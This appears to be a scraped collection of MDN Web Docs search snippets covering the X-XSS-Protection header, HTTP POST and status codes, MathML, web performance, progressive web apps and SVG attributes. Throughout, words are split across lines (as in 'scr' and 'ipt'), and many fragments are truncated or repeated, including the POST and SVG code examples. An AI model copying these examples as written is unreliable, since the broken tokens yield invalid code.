the http x-xss-protection response header is a feature of internet explorer, chrome and safari that stops pages from loading when they detect reflected cross-site scr
ipting (xss) attacks. although these protections are largely unnecessary in modern browsers when sites implement a strong content-security-policy that disables the use of inline javascr
ipt ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support csp. chrome has removed their xss auditor firefox have not, and will not implement x-xss-protection edge have retired their xss filter this means that if you do not need to support legacy browsers, it is recommended that you use content-security-policy without allowing unsafe-inline scr
ipts instead. header type re...
...at you use content-security-policy without allowing unsafe-inline scr
ipts instead. header type response header forbidden header name no syntax x-xss-protection: 0 x-xss-protection: 1 x-xss-protection: 1; mode=block x-xss-protection: 1; report=<reporting-uri> 0 disables xss filtering. 1 enables xss filtering (usually default in browsers). if a cross-site scr
ipting attack is detected, the browser will sanitize the page (remove the unsafe parts). 1; mode=block enables xss filtering. rather than sanitizing the page, the browser will prevent rendering of the page if an attack is detected. 1; report=<reporting-uri> (chromium only) enables xss filtering. ...
...this uses the functionality of the csp report-uri directive to send a report. ...
POST - HTTP
ribute of the <form> element or the formenctype attribute of the <input> or <button> elements: application/x-www-form-urlencoded: the keys and values are encoded in key-value tuples separated by '&', with a '=' between the key and the value. non-alphanumeric characters in both keys and values are percent encoded: this is the reason why this type is not suitable to use with binary data (use mult
ipart/form-data instead) mult
ipart/form-data: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part. the keys are given in the content-disposition header of each part. text/plain when the post request is sent via a method other than an html form -- like via an xmlhttprequest -- the body can take any type. as described in the ht...
... idempotent no cacheable only if freshness information is included allowed in html forms yes syntax post /test example a simple form using the default application/x-www-form-urlencoded content type: post /test http/1.1 host: foo.example content-type: application/x-www-form-urlencoded content-length: 27 field1=value1&field2=value2 a form using the mult
ipart/form-data content type: post /test http/1.1 host: foo.example content-type: mult
ipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7231, section 4.3.3: post hypertext trans...
...oundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7231, section 4.3.3: post hypertext transfer protocol (http/1.1): semantics and content rfc 2046, section 5.1.1: common syntax mult
ipurpose internet mail extensions (mime) part two: media types ...
HTTP response status codes - HTTP
request, but the headers may be useful. the user-agent may update its cached headers for this resource with the new ones. 205 reset content tells the user-agent to reset the document which sent this request. 206 partial content this response code is used when the range header is sent from the client to request only part of a resource. 207 multi-status (webdav) conveys information about mult
iple resources, for situations where mult
iple status codes might be appropriate. 208 already reported (webdav) used inside a <dav:propstat> response element to avoid repeatedly enumerating the internal members of mult
iple bindings to the same collection. 226 im used (http delta encoding) the server has fulfilled a get request for the resource, and the response is a representation of the result o...
...the user-agent or user should choose one of them. ...
...the user-agent or user should choose one of them. ...
HTTP
html. it was designed for communication between web browsers and web servers, but it can also be used for other purposes. http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. though often based on a tcp/
ip layer, it can be used on any reliable transport layer, that is, a protocol that doesn't lose messages silently like udp does. rudp -- the reliable update of udp -- is a suitable alternative. tutorials learn how to use http with guides and tutorials. overview of http the basic features of the client-server protocol: what it can do and its intended uses. http cache caching is very importa...
...ing (cors) cross-site http requests are http requests for resources from a different domain than the domain of the resource making the request. for instance, an html page from domain a (http://domaina.example/) makes a request for an image on domain b (http://domainb.foo/image.jpg) via the img element. web pages today very commonly load cross-site resources, including css stylesheets, images, scr
ipts, and other resources. cors allows web developers to control how their site reacts to cross-site requests. evolution of http a brief descr
iption of the changes between the early versions of http, to the modern http/2, the emergent http/3 and beyond. mozilla web security guidelines a collection of t
ips to help operational teams with creating secure web applications. http messages desc...
...ompleted. responses are grouped in five classes: informational responses, successful responses, redirections, client errors, and servers errors. csp directives the content-security-policy response header fields allows web site administrators to control resources the user agent is allowed to load for a given page. with a few exceptions, policies mostly involve specifying server origins and scr
ipt endpoints. tools & resources helpful tools and resources for understanding and debugging http. firefox developer tools network monitor mozilla observatory a project designed to help developers, system administrators, and security professionals configure their sites safely and securely. redbot tools to check your cache-related headers how browsers work a very comprehensive articl...
<mo> - MathML
allowed values are true or false. class, id, style provided for use with stylesheets. ...
...s suggest the typographic style for the class, semantically, items with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography. the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-fraktur ; example scr
ipt ; example bold-scr
ipt ; example fraktur ; example sans-serif ; example bold-sans-serif ; example sans-serif-italic ; example sans-serif-bold-italic ; example monospace ; example initial ; ???? tailed ; ???? looped ; ???? stretched ; ???? maxsize if stretchy is true, this attribute specifies the maximum size of the operator. allowed values are: infinity ...
...? looped ; ???? stretched ; ???? maxsize if stretchy is true, this attribute specifies the maximum size of the operator. allowed values are: infinity an arbitrary length minsize if stretchy is true, this attribute specifies the minimum size of the operator. allowed values are: infinity an arbitrary length movablelimits specifies whether attached under- and overscr
ipts move to sub- and superscr
ipt positions when displaystyle is false. allowed values are either true or false. rspace the amount of space after the operator (see length for values and units). the constant thickmathspace (5/18em) is the default value. separator there is no visual effect for this attribute, but it specifies whether the operator is a separator (such as commas). allowed values a...
<mover> - MathML
possible values are: left, center, and right. this attribute is deprecated and will be removed in the future. use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. ...
...possible values are: left, center, and right. this attribute is deprecated and will be removed in the future. use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. ...
...possible values are: left, center, and right. this attribute is deprecated and will be removed in the future. use css text-align instead. class, id, style provided for use with stylesheets. href used to set a hyperlink to a specified uri. mathbackground the background color. ...
<mstyle> - MathML
space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. the main effect is that larger versions of operators are displayed, when displaystyle is set to true. see also largeop and movablelimits on <mo>. infixlinebreakstyle specifies the default linebreakstyle to use for infix operators. the values before, after and duplicate are allowed. ...
... a more compact layout is used to display formulas. the main effect is that larger versions of operators are displayed, when displaystyle is set to true. see also largeop and movablelimits on <mo>. infixlinebreakstyle specifies the default linebreakstyle to use for infix operators. the values before, after and duplicate are allowed. scr
iptlevel controls mostly the font-size. the higher the scr
iptlevel, the smaller the font size. ...
...ts on <mo>. infixlinebreakstyle specifies the default linebreakstyle to use for infix operators. the values before, after and duplicate are allowed. scr
iptlevel controls mostly the font-size. the higher the scr
iptlevel, the smaller the font size. this attribute accepts a non-negative integer, as well as a "+" or a "-" sign, which increments or decrements the current value. in addition, the scr
iptlevel attribute can never reduce the font size below scr
iptminsize in order to avoid unreadable small font sizes and depends on the mult
iplier specified in scr
iptsizemult
iplier. scr
iptminsize specifies a minimum font size allowed due to changes in scr
iptlevel. the default value is 8pt. scr
iptsizemult
iplier specifies the mult
iplier to be used to adjust font size due to changes in scr
iptlevel. ...
MathML element reference - MathML
-expressions) <maligngroup> (alignment group) <malignmark> (alignment points) e <menclose> (enclosed contents) <merror> (enclosed syntax error messages) f <mfenced> (parentheses) <mfrac> (fraction) g <mglyph> (displaying non-standard symbols) i <mi> (identifier) l <mlabeledtr> (labeled row in a table or a matrix) <mlongdiv> (long division notation) m <mmultiscr
ipts> (prescr
ipts and tensor indices) n <mn> (number) o <mo> (operator) <mover> (overscr
ipt) p <mpadded> (space around content) <mphantom> (invisible content with reserved space) r <mroot> (radical with specified index) <mrow> (grouped sub-expressions) s <ms> (string literal) <mscarries> (annotations such as carries) <mscarry> (single carry, child element of <mscarries>...
...s> (string literal) <mscarries> (annotations such as carries) <mscarry> (single carry, child element of <mscarries>) <msgroup> (grouped rows of <mstack> and <mlongdiv> elements) <msline> (horizontal lines inside <mstack> elements) <mspace> (space) <msqrt> (square root without an index) <msrow> (rows in <mstack> elements) <mstack> (stacked alignment) <mstyle> (style change) <msub> (subscr
ipt) <msup> (superscr
ipt) <msubsup> (subscr
ipt-superscr
ipt pair) t <mtable> (table or matrix) <mtd> (cell in a table or a matrix) <mtext> (text) <mtr> (row in a table or a matrix) u <munder> (underscr
ipt) <munderover> (underscr
ipt-overscr
ipt pair) other elements <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) ...
...ments <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> token elements <mglyph> <mi> <mn> <mo> <ms> <mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <msqrt> <mstyle> scr
ipt and limit elements <mmultiscr
ipts> <mover> <mprescr
ipts> <msub> <msubsup> <msup> <munder> <munderover> <none> tabular math <maligngroup> <malignmark> <mlabeledtr> <mtable> <mtd> <mtr> elementary math <mlongdiv> <mscarries> <mscarry> <msgroup> <msline> <msrow> <mstack> uncategorized elements <maction> semantic annotations <annotation> <annotation-xml> <...
MathML
illa summit 2013. mathml reference mathml element reference details about each mathml element and compatibility information for desktop and mobile browsers. mathml attribute reference information about mathml attributes that modify the appearance or behavior of elements. mathml examples mathml samples and examples to help you understand how it works. authoring mathml suggestions and t
ips for writing mathml, including suggested mathml editors and how to integrate their output into web content. view all... getting help from the community view mozilla forums... mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla --...
...iting mathml, including suggested mathml editors and how to integrate their output into web content. view all... getting help from the community view mozilla forums... mailing list newsgroup rss feed matrix chat room wiki used by mozilla contributors w3c math home www-math w3.org mail archive tools w3c validator mathzilla firefox add-on collection texzilla -- javascr
ipt latex to mathml converter (live demo, firefox os webapp, firefox add-on, using in a web page, js program etc) latexml - convert latex documents into html+mathml web pages web equation - turn handwritten equations into mathml or latex mathjax - cross-browser javascr
ipt display engine for mathematics. to force mathjax to use native mathml, try this mozilla add-on, this safari extension or this ...
... related topics css html svg ...
Recommended Web Performance Timings: How long is too long? - Web Performance
hat does that mean? a second should be considered a rule in the maximum amount of time to indicate to a user that the request for new content was made and will load, such as the browser displaying the page title and the background color of the page displaying. the first asset retrieved from a request is usually an html document, which then makes calls for additional assets. as noted in the descr
iption of the critical rendering path, when received, browsers immediately start processing the html, rendering the content as it is received rather than waiting for additional assets to load. yes, one second for loading is a goal, but it's something few sites achieve. expectations differ. a 'hello world' on the corporate network would be expected to load in milliseconds, but a user downloading a c...
...age load goals for subsequent page loads, leveraging service workers and caching. there are different suggested times for initially loading the page versus loading additional assets, responding to user interaction, and ensuring smooth animations: idling goal browsers are single threaded (though background threads are supported for web workers). this means that user interaction, painting, and scr
ipt execution are all on the same thread. if the thread is busy doing complex javascr
ipt execution, the main thread will not be available to react to user input, such as pressing a button. for this reason, scr
ipt execution should be limited in scope, divided into chunks of code that can be executed in 50ms or less. this makes the thread available for user interactions. animation goal for scrolling...
...realize a document takes about 6ms to render a frame, leaving about 10ms for the rest. anything less than 60fps, especially an un-even or changing frame rate, will appear janky. ...
Performance budgets - Web Performance
g. error. the warning level allows you to be proactive and plan any tech debt, while not blocking development or deploys. the error level is an upper bound limit, where changes will have a negative and noticeable impact. in order to begin, you need to first measure the devices and connection speeds where your users are coming from (e.g. a ~$200 android device over a 3g connection), using mult
iple tools. these time-based metrics will translate into file-size budgets. a default baseline to reduce bounce rate is to achieve time to interactive under 5 seconds in 3g/4g, and under 2 seconds for subsequent loads. however, based on the specific goals and content of your site, you might choose to focus on other metrics. for a text-heavy site such as a blog or a news site, the first contentful ...
... not only the bounce or conversion rate but how likely is that user to return. how do i implement a performance budget? during development, there are a few tools to run checks against new or modified assets: a module bundler (e.g. webpack), has performance features that will notify you when assets exceed specified limits. bundlesize, allows you to define and run file size checks in your ci p
ipeline. file size checks are the first line of defense against regressions but translating size back into time metrics can be difficult since development environments could be missing 3rd party scr
ipts, and optimizations commonly provided by a cdn. the first step is to define a development baseline for each branch to compare to and the precision of the difference between development and producti...
...d can be used to gather lighthouse and webpage test metrics from a development url. the bot will pass or fail based on the provided minimum scores. how do i enforce a performance budget? the sooner that you can identify a potential addition pushing the budget, the better you can analyze the current state of your site, and pinpoint optimizations or unnecessary code. however, you should have mult
iple budgets and be dynamic. they are meant to reflect your ongoing goals but allow risks and experiments. for example, you may introduce a feature that increases overall load time but attempts to increase user engagement. (i.e. how long a user stays on a page or site). a performance budget helps you protect optimal behavior for your current users while enabling you to tap into new markets and deli...
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
on testing and mitigating shorter-term performance issues during development. in this article we define and compare these two performance monitoring approaches. synthetic monitoring synthetic monitoring involves monitoring the performance of a page in a 'laboratory' environment, typically with automation tooling in a consistent as possible environment. synthetic monitoring involves deploying scr
ipts to simulate the path an end user might take through a web application, reporting back the performance the simulator experiences. the traffic measured is not of your actual users, but rather synthetically generated traffic collecting data on page performance. an example of synthetic monitoring is webpagetest.org. it is done in a controlled environment where variable like geography, network, dev...
...nerated traffic collecting data on page performance. an example of synthetic monitoring is webpagetest.org. it is done in a controlled environment where variable like geography, network, device, browser, and cached status are predetermined. it provides waterfall charts for every asset served by the host and cdn as well as every third party asset and asset requests generated by all third party scr
ipts, such as ads and analytic services. controlling for environmental variables is helpful in understanding where performance bottlenecks have been occurring and identifying the source of any performance issues. for example, but it isn't reflective of the actual experience of users, especially the long tail. synthetic monitoring can be an important component of regression testing and production s...
...ction. changes from baseline performance as part of continuous integration should fail a push. if an issue arises in production, synthetic monitoring can provide insight, helping identify, isolate, and resolve problems before they negatively user experience. real user monitoring real user monitoring or rum measures the performance of a page from real users' machines. generally, a third party scr
ipt injects a scr
ipt on each page to measure and report back on page load data for every request made. this technique monitors an application's actual user interactions. in real user monitoring, the browsers of real users report back performance metrics experienced. rum helps identify how an application is being used, including the geographic distribution of users and the impact of that distributio...
Understanding latency - Web Performance
ver is already set. latency describes the amount of delay on a network or internet connection. low latency implies that there are no or almost no delays. high latency implies that there are many delays. one of the main aims of improving performance is to reduce latency. the latency associated with a single asset, especially a basic html page, may seem trivial. but websites generally involve mult
iple requests: the html includes requests for mult
iple css, scr
ipts, and media files. the greater the number and size of these requests, the greater the impact of high latency on user experience. on a connection with low latency, requested resources will appear almost immediately. on a connection with high latency, there will be a discernible delay between the time that a request is sent, and the ...
...ion with high latency, there will be a discernible delay between the time that a request is sent, and the resources are returned. we can determine the amount of latency by measuring the speed with which the data moves from one network location to another. latency can be measured one way, for example, the amount of time it takes to send a request for resources, or the length of the entire round-tr
ip from the browser's request for a resource to the moment when the requested resource arrives at the browser. network throttling to emulate the latency of a low bandwidth network, you can use developer tools and switch to a lower end network connection. in the developer tools, under the network table, you can switch the throttling option to 2g, 3g, etc. different browser developer tools have d...
...ould have been nearly instantaneous. had we throttled, receiving could have been 43seconds! measuring latency network latency is the time it takes for a data request to get from the computer making the request, to the computer responding. including the time it takes for a byte of data to make it from the responding computer back to the requesting computer. it is generally measured as a round tr
ip delay. disk latency is the time it takes from the moment a computer, usually a server, receives a request, to the time the computer returns the response. ...
How to make PWAs installable - Progressive web apps (PWAs)
t.webapp was popular in firefox os app manifests, and many use manifest.json for web manifests as the contents are organized in a json structure. however, the .webmanifest file format is explicitly mentioned in the w3c manifest specification, so that's what we'll use here. the content of the file looks like this: { "name": "js13kgames progressive web app", "short_name": "js13kpwa", "descr
iption": "progressive web app that lists games submitted to the a-frame category in the js13kgames 2017 competition.", "icons": [ { "src": "icons/icon-32.png", "sizes": "32x32", "type": "image/png" }, // ... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "start_url": "/pwa-examples/js13kpwa/index.html", "dis...
...12.png", "sizes": "512x512", "type": "image/png" } ], "start_url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app. short_name: short name to be shown on the home screen. descr
iption: a sentence or two explaining what your app does. icons: a bunch of icon information -- source urls, sizes, and types. be sure to include at least a few, so that one that fits best will be chosen for the user's device. start_url: the index document to launch when starting the app. display: how the app is displayed; can be fullscreen, standalone, minimal-ui, or browser. theme_color: a prim...
...olor: a primary color for the ui, used by operating system. background_color: a color used as the app's default background, used during install and on the splash screen. a minimal web manifest must have at least a name and an icons field with at least one icon defined; that icon must have at least the src, sizes, and type sub-fields as well. beyond that, everything is optional, though the descr
iption, short_name, and start_url fields are recommended. there are even more fields you can use than listed above -- be sure to check the web app manifest reference for details. add to home screen "add to home screen" (or a2hs for short) is a feature implemented by mobile browsers that takes the information found in an app's web manifest and uses them to represent the app on the device's home scr...
Introduction to progressive web apps - Progressive web apps (PWAs)
features: works offline, is installable, is easy to synchronize, can send push notifications, etc. in addition, there are tools to measure how complete (as a percentage) a web app is, such as lighthouse. by implementing various technological advantages, we can make an app more progressive, thus ending up with a higher lighthouse score. but this is only a rough indicator. there are some key princ
iples a web app should try to observe to be identified as a pwa. it should be: discoverable, so the contents can be found through search engines. installable, so it can be available on the device's home screen or app launcher. linkable, so you can share it by simply sending a url. network independent, so it works offline or with a poor network connection. progressive, so it's still usable on ...
... leading to more engaged users and better conversion rates. success stories there are many success stories of companies trying the pwa route, opting for an enhanced website experience rather than a native app, and seeing significant measurable benefits as a result. the website pwa stats shares many case studies that indicate these benefits. the best-known success story is probably that of fl
ipkart lite. india's largest e-commerce site was rebuilt as a progressive web app in 2015, which resulted in 70% increase in conversions. the aliexpress pwa has also seen much better results than either the web or the native app, with a 104% increase in conversion rates for new users. given their profit increase, and the relatively low amount of work required for the conversion of these apps to pwas...
...es. particularly worth mentioning is the hnpwa.com page--this lists an example implementation of the hacker news website (instead of the usual todomvc app), in which you can see the use of various front-end frameworks. you can even generate pwas online using the pwabuilder website. for service worker and push specific information, be sure to check the service worker cookbook, a collection of rec
ipes using service workers in modern sites. it's well worth trying out a pwa approach, so you can see for yourself if it works for your app. advantages of web applications a fully-capable progressive web application should provide all of the following advantages to the user. discoverability the eventual aim is that web apps should have better representation in search engines, be easier to expos...
Media - Progressive web apps (PWAs)
break-before: always;} more details for full details of css support for paged media, see paged media in the css specification. like other features of css, printing depends on browser choice and its settings. for example, the mozilla browser supplies default margins, headers, and footers for printing. keep in mind that you can't completely control the printed format. it is impossible to antic
ipate every user's browser choice and settings at the time of printing. user interfaces css has some special properties for devices that support a user interface, like computer displays. these properties dynamically change the appearance of content as the user works with the interface. there are five special selectors: selector selects e:hover any e element that has the ...
...ult, and a dotted outline on the face of the button when it has keyboard focus. it might also have a hover effect when the pointer is over it. more details for more information about user interfaces in css, see user interface in the css specification. in part ii of this tutorial, there is an example of mozilla's markup language for user interfaces. action: printing a document note: this sn
ippet only works on firefox since it erroneously increments the css counter for fix-position elemnts. it shouldn not work in other browsers. see issue on css3-page. make a new html document, doc4.html. copy and paste the content from here: <!doctype html> <html> <head> <title>print sample</title> <link rel="stylesheet" href="style4.css"> </head> <body> <h1>section a</h1> ...
... ...
Progressive web apps (PWAs)
lication must be served over a secure network. being a secure site is not only a best practice, but it also establishes your web application as a trusted site especially if users need to make secure transactions. most of the features related to a pwa such as geolocation and even service workers are available only once the app has been loaded using https. service workers a service worker is a scr
ipt that allows intercepting and control of how a web browser handles its network requests and asset caching. with service workers, web developers can create reliably fast web pages and offline experiences. manifest file a json file that controls how your app appears to the user and ensures that progressive web apps are discoverable. it describes the name of the app, the start url, icons, and all ...
...e design -- learn the basics of responsive design, an essential topic for modern app layout. mobile first -- often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top. add to home screen guide -- learn how your apps can take advantage of add to home screen (a2hs). tools localforage -- a nice simple javascr
ipt library for making client-side data storage really simple; it uses indexeddb by default and falls back to web sql/web storage if necessary. serviceworkerware -- an express-like microframework for easy service worker development. oghliner -- not only a template but a tool for deploying offline web apps to github pages. sw-precache -- a node module to generate service worker code that will prec...
...workerware -- an express-like microframework for easy service worker development. oghliner -- not only a template but a tool for deploying offline web apps to github pages. sw-precache -- a node module to generate service worker code that will precache specific resources. workbox -- spiritual successor to sw-precache with more advanced caching strategies and easy precaching. upup -- a tiny scr
ipt that makes sure your site is always there for your users. the service worker cookbook -- a series of excellent service worker/push rec
ipes, showing how to implement an offline app, but also much more. pwa vs code extension - a collection of all essential code sn
ippets you need to build progressive web apps right there in your vs code environment. progressive web apps on google developers...
cx - SVG: Scalable Vector Graphics
the cx attribute define the x-axis coordinate of a center point. three elements are using this attribute: <circle>, <ell
ipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <radialgradient cx="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cx="50" cy="50" r="45"/> <ell
ipse cx="150" cy="50" rx="45" ry="25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape. value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry prope...
...25" /> <rect x="205" y="5" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cx defines the x-axis coordinate of the center of the shape. value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for circles. ell
ipse for <ell
ipse>, cx defines the x-axis coordinate of the center of the shape. value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for ell
ipses. radialgradient for <radialgradient>, cx defines the x-axis coordinate of the end circle for th...
...ecification. candidate recommendation definition for svg2 paint servers. scalable vector graphics (svg) 1.1 (second edition)the definition of 'cx' in that specification. recommendation initial definition for <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'cx' in that specification. recommendation initial definition for <ell
ipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'cx' in that specification. recommendation initial definition for <circle> see also cy r ...
cy - SVG: Scalable Vector Graphics
the cy attribute define the y-axis coordinate of a center point. three elements are using this attribute: <circle>, <ell
ipse>, and <radialgradient> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <radialgradient cy="25%" id="mygradient"> <stop offset="0" stop-color="white" /> <stop offset="100%" stop-color="black" /> </radialgradient> <circle cy="50" cx="50" r="45"/> <ell
ipse cy="150" cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry...
...> <rect x="5" y="205" width="90" height="90" fill="url(#mygradient)" /> </svg> circle for <circle>, cy defines the y-axis coordinate of the center of the shape. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for circles. ell
ipse for <ell
ipse>, cy defines the y-axis coordinate of the center of the shape. value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for ell
ipses. radialgradient for <radialgradient>, cy defines the y-axis coordinate of the end circle f...
...ecification. candidate recommendation definition for svg2 paint servers. scalable vector graphics (svg) 1.1 (second edition)the definition of 'cy' in that specification. recommendation initial definition for <radialgradient> scalable vector graphics (svg) 1.1 (second edition)the definition of 'cy' in that specification. recommendation initial definition for <ell
ipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'cy' in that specification. recommendation initial definition for <circle> ...
display - SVG: Scalable Vector Graphics
up. this means that any child of an element with display="none" will never be rendered even if the child has a value for display other than none. when the display attribute is set to none, then the given element does not become part of the rendering tree. it has implications for the <tspan>, <tref>, and <altglyph> elements, event processing, for bounding box calculations and for calculation of cl
ipping paths: if display is set to none on a <tspan>, <tref>, or <altglyph> element, then the text string is ignored for the purposes of text layout. regarding events, if display is set to none, the element receives no events. the geometry of a graphics element with display set to none is not included in bounding box and cl
ipping paths calculations. the display attribute only affects the dire...
...ting it to none on a <path> element will prevent that element from getting rendered directly onto the canvas, but the <path> element can still be referenced by a <textpath> element; furthermore, its geometry will be used in text-on-a-path processing even if the <path> has a display value of none. this attribute also affects direct rendering into offscreen canvases, such as occurs with masks or cl
ip paths. thus, setting display="none" on a child of a <mask> will prevent the given child element from being rendered as part of the mask. similarly, setting display="none" on a child of a <cl
ippath> element will prevent the given child element from contributing to the cl
ipping path. note: as a presentation attribute, display can be used as a css property. see css display for further information. ...
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'display' in that specification. candidate recommendation refers to the css 2 specification of the display property, but outlines the differences regarding svg. scalable vector graphics (svg) 1.1 (se...
dominant-baseline - SVG: Scalable Vector Graphics
it is used to determine or re-determine a scaled-baseline-table. a scaled-baseline-table is a compound value with three components: a baseline-identifier for the dominant-baseline, a baseline-table, and a baseline-table font-size. some values of the property re-determine all three values. ...
...e actually shifts the baseline, then the baseline-table font-size component is set to the value of the font-size attribute on the element on which the dominant-baseline attribute occurs, otherwise the baseline-table font-size remains the same as that of the element. if there is no parent text content element, the scaled-baseline-table value is constructed as above for <text> elements. use-scr
ipt the dominant-baseline and the baseline-table components are set by determining the predominant scr
ipt of the character data content. the writing-mode, whether horizontal or vertical, is used to select the appropriate set of baseline-tables and the dominant baseline is used to select the baseline-table that corresponds to that baseline. the baseline-table font-size component is set to the value...
...ext { font: bold 30px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'dominant-baseline' in that specification. candidate recommendation refers to the specification in working draft and explicitly mentions the removal of the values use-scr
ipt, no-change, and reset-size. css inline layoutthe definition of 'dominant-baseline' in that specification. working draft removed the values use-scr
ipt, no-change, and reset-size and introduced the text-top value. scalable vector graphics (svg) 1.1 (second edition)the definition of 'dominant-baseline' in that specification. recommendation initial definition bro...
onclick - SVG: Scalable Vector Graphics
the onclick attribute specifies some scr
ipt to run when the element is clicked. ...
... the onclick attribute specifies some scr
ipt to run when the element is clicked. ...
... the onclick attribute specifies some scr
ipt to run when the element is clicked. ...
rx - SVG: Scalable Vector Graphics
the rx attribute defines a radius on the x-axis. two elements are using this attribute: <ell
ipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ell
ipse cx="50" cy="50" rx="0" ry="25" /> <ell
ipse cx="150" cy="50" rx="25" ry="25" /> <ell
ipse cx="250" cy="50" rx="50" ry="25" /> <rect x="20" y="120" width="60" height="60" rx="0" ry="15"/> <rect x="120" y="120" width="60" height="60" rx="15" ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ell
ipse for <ell
ipse>, rx defines the x-radius of the shape. with a value lower or equal to zero the ell
ipse won't be drawn at all. value <length> | <percentage> | auto default value auto animatable yes ...
..."60" rx="150" ry="15"/> </svg> ell
ipse for <ell
ipse>, rx defines the x-radius of the shape. with a value lower or equal to zero the ell
ipse won't be drawn at all. value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, rx is a geometry property meaning this attribute can also be used as a css property for ell
ipses. rect for <rect>, rx defines the x-axis radius of the ell
ipse used to round off the corners of the rectangle. the way the value of the rx attribute is interpreted depend on both the ry attribute and the width of the rectangle: if a properly specified value is provided for rx but not for ry (or the opposite), then the browser will consider the missing value equal to the defined one. if n...
...as a css property for rects. specifications specification status comment scalable vector graphics (svg) 2the definition of 'rx' in that specification. candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification. recommendation initial definition for <ell
ipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'rx' in that specification. recommendation initial definition for <rect> ...
ry - SVG: Scalable Vector Graphics
the ry attribute defines a radius on the y-axis. two elements are using this attribute: <ell
ipse>, and <rect> html,body,svg { height:100% } <svg viewbox="0 0 300 200" xmlns="http://www.w3.org/2000/svg"> <ell
ipse cx="50" cy="50" ry="0" rx="25" /> <ell
ipse cx="150" cy="50" ry="25" rx="25" /> <ell
ipse cx="250" cy="50" ry="50" rx="25" /> <rect x="20" y="120" width="60" height="60" ry="0" rx="15"/> <rect x="120" y="120" width="60" height="60" ry="15" rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ell
ipse for <ell
ipse>, ry defines the y-radius of the shape. with a value lower or equal to zero the ell
ipse won't be drawn at all. value <length> | <percentage> | auto default value auto animatable yes ...
..."60" ry="150" rx="15"/> </svg> ell
ipse for <ell
ipse>, ry defines the y-radius of the shape. with a value lower or equal to zero the ell
ipse won't be drawn at all. value <length> | <percentage> | auto default value auto animatable yes note: starting with svg2, ry is a geometry property meaning this attribute can also be used as a css property for ell
ipses. rect for <rect>, ry defines the y-axis radius of the ell
ipse used to round off the corners of the rectangle. the way the value of the ry attribute is interpreted depend on both the rx attribute and the width of the rectangle: if a properly specified value is provided for ry but not for rx (or the opposite), then the browser will consider the missing value equal to the defined one. if n...
...as a css property for rects. specifications specification status comment scalable vector graphics (svg) 2the definition of 'ry' in that specification. candidate recommendation definition as a geometry property scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification. recommendation initial definition for <ell
ipse> scalable vector graphics (svg) 1.1 (second edition)the definition of 'ry' in that specification. recommendation initial definition for <rect> ...
systemLanguage - SVG: Scalable Vector Graphics
the systemlanguage attribute represents a list of supported language tags. this list is matched against the language defined in the user preferences. 35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <cl
ippath>, <cursor>, <defs>, <discard>, <ell
